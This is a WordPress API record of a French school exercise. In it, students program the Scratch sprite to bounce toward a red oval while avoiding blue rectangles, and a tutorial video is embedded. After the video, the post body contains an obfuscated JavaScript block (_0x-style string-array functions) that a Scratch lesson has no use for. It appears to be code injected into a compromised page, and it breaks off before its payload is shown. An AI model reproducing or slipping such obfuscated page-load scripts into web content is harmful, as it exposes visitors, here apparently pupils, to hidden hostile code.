{"id":3216,"date":"2024-03-04T11:55:29","date_gmt":"2024-03-04T11:55:29","guid":{"rendered":"https:\/\/www.energy-sciences.org\/sciences\/?p=3216"},"modified":"2024-03-04T11:56:46","modified_gmt":"2024-03-04T11:56:46","slug":"scratch-12-scratch-doit-atteindre-la-zone-ovale-rouge-sans-toucher-les-rectangles-bleus","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/scratch-12-scratch-doit-atteindre-la-zone-ovale-rouge-sans-toucher-les-rectangles-bleus\/","title":{"rendered":"Scratch 12- Scratch doit atteindre la zone ovale rouge sans toucher les rectangles bleus"},"content":{"rendered":"<p><span style=\"font-size: 14pt;\">Activit\u00e9 12 : Scratch se d\u00e9place et rebondit sur les bords, il doit atteindre la zone ovale rouge sans toucher les rectangles bleus.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\"> Pour cela, il faut choisir la bonne orientation initiale.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\"> 1. Scratch part de x = -200, y = 0. Il s\u2019oriente selon un certain angle (par exemple 30\u00b0). Puis dans une boucle sans fin \u00ab r\u00e9p\u00e9ter ind\u00e9finiment \u00bb, il avance un peu (disons 5 pas) et il \u00ab rebondit si le bord est atteint \u00bb. <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\">2. Compl\u00e8te la boucle pr\u00e9c\u00e9dente pour tester si Scratch touche une zone color\u00e9e : <\/span><\/p>\n<p><span style=\"font-size: 14pt;\">\u2022 si Scratch touche une zone ovale rouge alors c\u2019est gagn\u00e9 et on arr\u00eate le programme, <\/span><\/p>\n<p><span style=\"font-size: 14pt;\">\u2022 si Scratch touche une zone rectangulaire bleue alors c\u2019est perdu et on arr\u00eate aussi le programme. <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\">3. Dessine des obstacles (en bleu) et une cible (en rouge) sur l\u2019arri\u00e8re-plan. Cherche l\u2019angle de d\u00e9part qui convient \u00e0 la fois pour \u00e9viter les obstacles et pour atteindre la cible ! <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\">Blocs utiles. <\/span><\/p>\n<p><span style=\"font-size: 14pt;\">Afin de choisir exactement les m\u00eames couleurs que celles utilis\u00e9es pour dessiner les obstacles ou la cible, utilise la pipette.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/ZbaFlN7lfpA\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Pour cela, il faut choisir la bonne orientation initiale. 1. Scratch part <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-12-scratch-doit-atteindre-la-zone-ovale-rouge-sans-toucher-les-rectangles-bleus\/\" title=\"Scratch 12- Scratch doit atteindre la zone ovale rouge sans toucher les rectangles bleus\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":3217,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[72],"tags":[],"class_list":{"0":"post-3216","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-informatique-college-2"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/3216","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=3216"}],"version-history":[{"count":2,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/3216\/revisions"}],"predecessor-version":[{"id":3219,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/3216\/revisions\/3219"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media\/3217"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=3216"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=3216"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=3216"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}